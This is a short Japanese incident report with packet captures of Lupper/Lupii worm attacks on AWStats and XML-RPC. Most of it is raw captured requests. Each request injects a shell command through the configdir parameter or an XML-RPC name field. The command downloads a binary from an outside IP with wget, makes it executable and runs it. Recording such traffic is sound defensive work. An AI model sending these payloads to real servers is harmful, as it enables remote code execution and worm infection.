■コメント
awstatsとxmlrpcの脆弱性に対する攻撃を11月4日から現在まで、awstatsとxmlrpcの脆弱性に対する攻撃を受けています。
同じ攻撃の2つの異なる亜種を捕らえました。
主な違いは、使用されるウィルスである。lupii、PlupiiかLupperワームと呼ばれるウィルスが使用される。
"/cgi-bin/awstats.pl?configdir=|echo;echo YYY;cd /tmp;wget 62.101.193.244/lupii;chmod +x lupii;./lupii 62.101.193.244;echo YYY;echo|"
"/awstats/awstats.pl?configdir=|echo;echo YYY;cd /tmp;wget 24.224.174.18/listen;chmod +x listen;./listen 216.102.212.115;echo YYY;echo|"
ダウンロードするのにawstats configdirのリモートコードインジェクションの脆弱性を使用するlupiiタイプとほとんど同じです。
以下の パケットで実際の攻撃を調べることができます。
■実際のパケット
No. Time Source Destination Protocol Info
25175 2005-11-19 16:36:24.431049 xxx.22.51.9 xxx.87.152.38 HTTP GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
This is an ACK to the segment in frame: 25174
The RTT to ACK the segment was: 0.487994000 seconds
Hypertext Transfer Protocol
GET /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /cgi-bin/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 e5 eb c2 40 00 27 06 2d b3 a3 16 33 09 cb 57 ....@.'.-...3..W
0020 98 26 0d a8 00 50 0a 49 63 21 ae 8a 05 a5 80 18 .&...P.Ic!......
0030 3e bc 43 15 00 00 01 01 08 0a 1b 1d 71 ef 00 00 >.C.........q...
0040 00 00 47 45 54 20 2f 63 67 69 2d 62 69 6e 2f 61 ..GET /cgi-bin/a
0050 77 73 74 61 74 73 2e 70 6c 3f 63 6f 6e 66 69 67 wstats.pl?config
0060 64 69 72 3d 7c 65 63 68 6f 3b 65 63 68 6f 25 32 dir=|echo;echo%2
0070 30 59 59 59 3b 63 64 25 32 30 25 32 66 74 6d 70 0YYY;cd%20%2ftmp
0080 25 33 62 77 67 65 74 25 32 30 36 32 25 32 65 31 %3bwget%2062%2e1
0090 30 31 25 32 65 31 39 33 25 32 65 32 34 34 25 32 01%2e193%2e244%2
00a0 66 6c 75 70 69 69 25 33 62 63 68 6d 6f 64 25 32 flupii%3bchmod%2
00b0 30 25 32 62 78 25 32 30 6c 75 70 69 69 25 33 62 0%2bx%20lupii%3b
00c0 25 32 65 25 32 66 6c 75 70 69 69 25 32 30 36 32 %2e%2flupii%2062
00d0 25 32 65 31 30 31 25 32 65 31 39 33 25 32 65 32 %2e101%2e193%2e2
00e0 34 34 3b 65 63 68 6f 25 32 30 59 59 59 3b 65 63 44;echo%20YYY;ec
00f0 68 6f 7c ho|
No. Time Source Destination Protocol Info
25188 2005-11-19 16:36:25.564071 xxx.22.51.9 xxx.87.152.38 HTTP GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Time stamp: tsval 454914693, tsecr 0
Hypertext Transfer Protocol
GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 e5 ec 9b 40 00 27 06 2c da a3 16 33 09 cb 57 ....@.'.,...3..W
0020 98 26 0d bc 00 50 0a fc b9 a4 ae 8f c4 c8 80 18 .&...P..........
0030 3e bc c9 ff 00 00 01 01 08 0a 1b 1d 72 85 00 00 >...........r...
0040 00 00 47 45 54 20 2f 61 77 73 74 61 74 73 2f 61 ..GET /awstats/a
0050 77 73 74 61 74 73 2e 70 6c 3f 63 6f 6e 66 69 67 wstats.pl?config
0060 64 69 72 3d 7c 65 63 68 6f 3b 65 63 68 6f 25 32 dir=|echo;echo%2
0070 30 59 59 59 3b 63 64 25 32 30 25 32 66 74 6d 70 0YYY;cd%20%2ftmp
0080 25 33 62 77 67 65 74 25 32 30 36 32 25 32 65 31 %3bwget%2062%2e1
0090 30 31 25 32 65 31 39 33 25 32 65 32 34 34 25 32 01%2e193%2e244%2
00a0 66 6c 75 70 69 69 25 33 62 63 68 6d 6f 64 25 32 flupii%3bchmod%2
00b0 30 25 32 62 78 25 32 30 6c 75 70 69 69 25 33 62 0%2bx%20lupii%3b
00c0 25 32 65 25 32 66 6c 75 70 69 69 25 32 30 36 32 %2e%2flupii%2062
00d0 25 32 65 31 30 31 25 32 65 31 39 33 25 32 65 32 %2e101%2e193%2e2
00e0 34 34 3b 65 63 68 6f 25 32 30 59 59 59 3b 65 63 44;echo%20YYY;ec
00f0 68 6f 7c ho|
No. Time Source Destination Protocol Info
25198 2005-11-19 16:36:27.465376 xxx.22.51.9 xxx.87.152.38 HTTP GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Time stamp: tsval 454914847, tsecr 0
Hypertext Transfer Protocol
GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 ed ed 1a 40 00 27 06 2c 53 a3 16 33 09 cb 57 ....@.'.,S..3..W
0020 98 26 0d ca 00 50 0a b8 2f 33 ae 95 e8 5f 80 18 .&...P../3..._..
0030 3e bc 02 cb 00 00 01 01 08 0a 1b 1d 73 1f 00 00 >...........s...
0040 00 00 47 45 54 20 2f 63 67 69 2d 62 69 6e 2f 61 ..GET /cgi-bin/a
0050 77 73 74 61 74 73 2f 61 77 73 74 61 74 73 2e 70 wstats/awstats.p
0060 6c 3f 63 6f 6e 66 69 67 64 69 72 3d 7c 65 63 68 l?configdir=|ech
0070 6f 3b 65 63 68 6f 25 32 30 59 59 59 3b 63 64 25 o;echo%20YYY;cd%
0080 32 30 25 32 66 74 6d 70 25 33 62 77 67 65 74 25 20%2ftmp%3bwget%
0090 32 30 36 32 25 32 65 31 30 31 25 32 65 31 39 33 2062%2e101%2e193
00a0 25 32 65 32 34 34 25 32 66 6c 75 70 69 69 25 33 %2e244%2flupii%3
00b0 62 63 68 6d 6f 64 25 32 30 25 32 62 78 25 32 30 bchmod%20%2bx%20
00c0 6c 75 70 69 69 25 33 62 25 32 65 25 32 66 6c 75 lupii%3b%2e%2flu
00d0 70 69 69 25 32 30 36 32 25 32 65 31 30 31 25 32 pii%2062%2e101%2
00e0 65 31 39 33 25 32 65 32 34 34 3b 65 63 68 6f 25 e193%2e244;echo%
00f0 32 30 59 59 59 3b 65 63 68 6f 7c 20YYY;echo|
No. Time Source Destination Protocol Info
25209 2005-11-19 16:36:29.194090 xxx.22.51.9 xxx.87.152.38 HTTP GET /cgi/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Time stamp: tsval 454914995, tsecr 0
Hypertext Transfer Protocol
GET /cgi/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /cgi/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 e9 ed 89 40 00 27 06 2b e8 a3 16 33 09 cb 57 ....@.'.+...3..W
0020 98 26 0d e4 00 50 0a a5 7d 22 ae 9b b4 29 80 18 .&...P..}"...)..
0030 3e bc 7f 45 00 00 01 01 08 0a 1b 1d 73 b3 00 00 >..E........s...
0040 00 00 47 45 54 20 2f 63 67 69 2f 61 77 73 74 61 ..GET /cgi/awsta
0050 74 73 2f 61 77 73 74 61 74 73 2e 70 6c 3f 63 6f ts/awstats.pl?co
0060 6e 66 69 67 64 69 72 3d 7c 65 63 68 6f 3b 65 63 nfigdir=|echo;ec
0070 68 6f 25 32 30 59 59 59 3b 63 64 25 32 30 25 32 ho%20YYY;cd%20%2
0080 66 74 6d 70 25 33 62 77 67 65 74 25 32 30 36 32 ftmp%3bwget%2062
0090 25 32 65 31 30 31 25 32 65 31 39 33 25 32 65 32 %2e101%2e193%2e2
00a0 34 34 25 32 66 6c 75 70 69 69 25 33 62 63 68 6d 44%2flupii%3bchm
00b0 6f 64 25 32 30 25 32 62 78 25 32 30 6c 75 70 69 od%20%2bx%20lupi
00c0 69 25 33 62 25 32 65 25 32 66 6c 75 70 69 69 25 i%3b%2e%2flupii%
00d0 32 30 36 32 25 32 65 31 30 31 25 32 65 31 39 33 2062%2e101%2e193
00e0 25 32 65 32 34 34 3b 65 63 68 6f 25 32 30 59 59 %2e244;echo%20YY
00f0 59 3b 65 63 68 6f 7c Y;echo|
No. Time Source Destination Protocol Info
25218 2005-11-19 16:36:30.829377 xxx.22.51.9 xxx.87.152.38 HTTP GET /scripts/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Time stamp: tsval 454915147, tsecr 0
Hypertext Transfer Protocol
GET /scripts/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /scripts/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 e5 ee 6a 40 00 27 06 2b 0b a3 16 33 09 cb 57 ...j@.'.+...3..W
0020 98 26 0d f5 00 50 0a d6 fb 01 ae a1 c5 b5 80 18 .&...P..........
0030 3e bc a4 aa 00 00 01 01 08 0a 1b 1d 74 4b 00 00 >...........tK..
0040 00 00 47 45 54 20 2f 73 63 72 69 70 74 73 2f 61 ..GET /scripts/a
0050 77 73 74 61 74 73 2e 70 6c 3f 63 6f 6e 66 69 67 wstats.pl?config
0060 64 69 72 3d 7c 65 63 68 6f 3b 65 63 68 6f 25 32 dir=|echo;echo%2
0070 30 59 59 59 3b 63 64 25 32 30 25 32 66 74 6d 70 0YYY;cd%20%2ftmp
0080 25 33 62 77 67 65 74 25 32 30 36 32 25 32 65 31 %3bwget%2062%2e1
0090 30 31 25 32 65 31 39 33 25 32 65 32 34 34 25 32 01%2e193%2e244%2
00a0 66 6c 75 70 69 69 25 33 62 63 68 6d 6f 64 25 32 flupii%3bchmod%2
00b0 30 25 32 62 78 25 32 30 6c 75 70 69 69 25 33 62 0%2bx%20lupii%3b
00c0 25 32 65 25 32 66 6c 75 70 69 69 25 32 30 36 32 %2e%2flupii%2062
00d0 25 32 65 31 30 31 25 32 65 31 39 33 25 32 65 32 %2e101%2e193%2e2
00e0 34 34 3b 65 63 68 6f 25 32 30 59 59 59 3b 65 63 44;echo%20YYY;ec
00f0 68 6f 7c ho|
No. Time Source Destination Protocol Info
25235 2005-11-19 16:36:32.702774 xxx.22.51.9 xxx.87.152.38 HTTP GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Time stamp: tsval 454915293, tsecr 0
Hypertext Transfer Protocol
GET /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /cgi-bin/awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 ed ef db 40 00 27 06 29 92 a3 16 33 09 cb 57 ....@.'.)...3..W
0020 98 26 0e 0a 00 50 0b 2e 16 5b ae a7 7d be 80 18 .&...P...[..}...
0030 3e bc 83 be 00 00 01 01 08 0a 1b 1d 74 dd 00 00 >...........t...
0040 00 00 47 45 54 20 2f 63 67 69 2d 62 69 6e 2f 61 ..GET /cgi-bin/a
0050 77 73 74 61 74 73 2f 61 77 73 74 61 74 73 2e 70 wstats/awstats.p
0060 6c 3f 63 6f 6e 66 69 67 64 69 72 3d 7c 65 63 68 l?configdir=|ech
0070 6f 3b 65 63 68 6f 25 32 30 59 59 59 3b 63 64 25 o;echo%20YYY;cd%
0080 32 30 25 32 66 74 6d 70 25 33 62 77 67 65 74 25 20%2ftmp%3bwget%
0090 32 30 36 32 25 32 65 31 30 31 25 32 65 31 39 33 2062%2e101%2e193
00a0 25 32 65 32 34 34 25 32 66 6c 75 70 69 69 25 33 %2e244%2flupii%3
00b0 62 63 68 6d 6f 64 25 32 30 25 32 62 78 25 32 30 bchmod%20%2bx%20
00c0 6c 75 70 69 69 25 33 62 25 32 65 25 32 66 6c 75 lupii%3b%2e%2flu
00d0 70 69 69 25 32 30 36 32 25 32 65 31 30 31 25 32 pii%2062%2e101%2
00e0 65 31 39 33 25 32 65 32 34 34 3b 65 63 68 6f 25 e193%2e244;echo%
00f0 32 30 59 59 59 3b 65 63 68 6f 7c 20YYY;echo|
No. Time Source Destination Protocol Info
25247 2005-11-19 16:36:34.407072 xxx.22.51.9 xxx.87.152.38 HTTP GET /cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Time stamp: tsval 454915443, tsecr 0
Hypertext Transfer Protocol
GET /cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /cgi-bin/stats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 eb f0 68 40 00 27 06 29 07 a3 16 33 09 cb 57 ...h@.'.)...3..W
0020 98 26 0e 1b 00 50 0b 87 66 6f ae ae 32 04 80 18 .&...P..fo..2...
0030 3e bc f5 c0 00 00 01 01 08 0a 1b 1d 75 73 00 00 >...........us..
0040 00 00 47 45 54 20 2f 63 67 69 2d 62 69 6e 2f 73 ..GET /cgi-bin/s
0050 74 61 74 73 2f 61 77 73 74 61 74 73 2e 70 6c 3f tats/awstats.pl?
0060 63 6f 6e 66 69 67 64 69 72 3d 7c 65 63 68 6f 3b configdir=|echo;
0070 65 63 68 6f 25 32 30 59 59 59 3b 63 64 25 32 30 echo%20YYY;cd%20
0080 25 32 66 74 6d 70 25 33 62 77 67 65 74 25 32 30 %2ftmp%3bwget%20
0090 36 32 25 32 65 31 30 31 25 32 65 31 39 33 25 32 62%2e101%2e193%2
00a0 65 32 34 34 25 32 66 6c 75 70 69 69 25 33 62 63 e244%2flupii%3bc
00b0 68 6d 6f 64 25 32 30 25 32 62 78 25 32 30 6c 75 hmod%20%2bx%20lu
00c0 70 69 69 25 33 62 25 32 65 25 32 66 6c 75 70 69 pii%3b%2e%2flupi
00d0 69 25 32 30 36 32 25 32 65 31 30 31 25 32 65 31 i%2062%2e101%2e1
00e0 39 33 25 32 65 32 34 34 3b 65 63 68 6f 25 32 30 93%2e244;echo%20
00f0 59 59 59 3b 65 63 68 6f 7c YYY;echo|
No. Time Source Destination Protocol Info
25256 2005-11-19 16:36:36.234349 xxx.22.51.9 xxx.87.152.38 HTTP GET /stats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Time stamp: tsval 454915587, tsecr 0
Hypertext Transfer Protocol
GET /stats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
Request Method: GET
Request URI: /stats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2062%2e101%2e193%2e244%2flupii%3bchmod%20%2bx%20lupii%3b%2e%2flupii%2062%2e101%2e193%2e244;echo%20YYY;echo|
0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 00 e3 f0 c4 40 00 27 06 28 b3 a3 16 33 09 cb 57 ....@.'.(...3..W
0020 98 26 0e 2b 00 50 0b a6 06 91 ae b4 27 59 80 18 .&.+.P......'Y..
0030 3e bc 8d 2a 00 00 01 01 08 0a 1b 1d 76 03 00 00 >..*........v...
0040 00 00 47 45 54 20 2f 73 74 61 74 73 2f 61 77 73 ..GET /stats/aws
0050 74 61 74 73 2e 70 6c 3f 63 6f 6e 66 69 67 64 69 tats.pl?configdi
0060 72 3d 7c 65 63 68 6f 3b 65 63 68 6f 25 32 30 59 r=|echo;echo%20Y
0070 59 59 3b 63 64 25 32 30 25 32 66 74 6d 70 25 33 YY;cd%20%2ftmp%3
0080 62 77 67 65 74 25 32 30 36 32 25 32 65 31 30 31 bwget%2062%2e101
0090 25 32 65 31 39 33 25 32 65 32 34 34 25 32 66 6c %2e193%2e244%2fl
00a0 75 70 69 69 25 33 62 63 68 6d 6f 64 25 32 30 25 upii%3bchmod%20%
00b0 32 62 78 25 32 30 6c 75 70 69 69 25 33 62 25 32 2bx%20lupii%3b%2
00c0 65 25 32 66 6c 75 70 69 69 25 32 30 36 32 25 32 e%2flupii%2062%2
00d0 65 31 30 31 25 32 65 31 39 33 25 32 65 32 34 34 e101%2e193%2e244
00e0 3b 65 63 68 6f 25 32 30 59 59 59 3b 65 63 68 6f ;echo%20YYY;echo
00f0 7c |
No. Time Source Destination Protocol Info
25298 2005-11-19 16:36:51.272016 xxx.22.51.9 xxx.87.152.38 HTTP POST /xmlrpc/xmlrpc.php HTTP/1.1
POST /xmlrpc/xmlrpc.php HTTP/1.1\n
Request Method: POST
Request URI: /xmlrpc/xmlrpc.php
Request Version: HTTP/1.1
Host: 203.87.152.38\n
Content-Type: text/xml\n
Content-Length:269\n
\n
eXtensible Markup Language
<?xml version="1.0"?>
<methodCall>
<methodName>
test.method
</methodName>
<params>
<param>
<value>
<name>
',''));echo '_begin_';echo `cd /tmp;wget 62.101.193.244/lupii;chmod +x lupii;./lupii 62.101.193.244 `;echo '_end_';exit;/*
</name>
</value>
</param>
</params>
</methodCall>
0000 00 0c 29 f3 5b 69 00 0d 48 1f 0c 56 08 00 45 00 ..).[i..H..V..E.
0010 01 9c f6 97 40 00 27 06 22 27 a3 16 33 09 cb 57 ....@.'."'..3..W
0020 98 26 0f 08 00 50 0b e7 8d 8e ae d7 fe 45 80 18 .&...P.......E..
0030 3e bc b0 85 00 00 01 01 08 0a 1b 1d 7b 19 00 00 >...........{...
0040 00 00 50 4f 53 54 20 2f 78 6d 6c 72 70 63 2f 78 ..POST /xmlrpc/x
0050 6d 6c 72 70 63 2e 70 68 70 20 48 54 54 50 2f 31 mlrpc.php HTTP/1
0060 2e 31 0a 48 6f 73 74 3a 20 32 30 33 2e 38 37 2e .1.Host: 203.87.
0070 31 35 32 2e 33 38 0a 43 6f 6e 74 65 6e 74 2d 54 152.38.Content-T
0080 79 70 65 3a 20 74 65 78 74 2f 78 6d 6c 0a 43 6f ype: text/xml.Co
0090 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 32 36 39 ntent-Length:269
00a0 0a 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d ..<?xml version=
00b0 22 31 2e 30 22 3f 3e 3c 6d 65 74 68 6f 64 43 61 "1.0"?><methodCa
00c0 6c 6c 3e 3c 6d 65 74 68 6f 64 4e 61 6d 65 3e 74 ll><methodName>t
00d0 65 73 74 2e 6d 65 74 68 6f 64 3c 2f 6d 65 74 68 est.method</meth
00e0 6f 64 4e 61 6d 65 3e 3c 70 61 72 61 6d 73 3e 3c odName><params><
00f0 70 61 72 61 6d 3e 3c 76 61 6c 75 65 3e 3c 6e 61 param><value><na
0100 6d 65 3e 27 2c 27 27 29 29 3b 65 63 68 6f 20 27 me>',''));echo '
0110 5f 62 65 67 69 6e 5f 27 3b 65 63 68 6f 20 60 63 _begin_';echo `c
0120 64 20 2f 74 6d 70 3b 77 67 65 74 20 36 32 2e 31 d /tmp;wget 62.1
0130 30 31 2e 31 39 33 2e 32 34 34 2f 6c 75 70 69 69 01.193.244/lupii
0140 3b 63 68 6d 6f 64 20 2b 78 20 6c 75 70 69 69 3b ;chmod +x lupii;
0150 2e 2f 6c 75 70 69 69 20 36 32 2e 31 30 31 2e 31 ./lupii 62.101.1
0160 39 33 2e 32 34 34 20 60 3b 65 63 68 6f 20 27 5f 93.244 `;echo '_
0170 65 6e 64 5f 27 3b 65 78 69 74 3b 2f 2a 3c 2f 6e end_';exit;/*</n
0180 61 6d 65 3e 3c 2f 76 61 6c 75 65 3e 3c 2f 70 61 ame></value></pa
0190 72 61 6d 3e 3c 2f 70 61 72 61 6d 73 3e 3c 2f 6d ram></params></m
01a0 65 74 68 6f 64 43 61 6c 6c 3e ethodCall>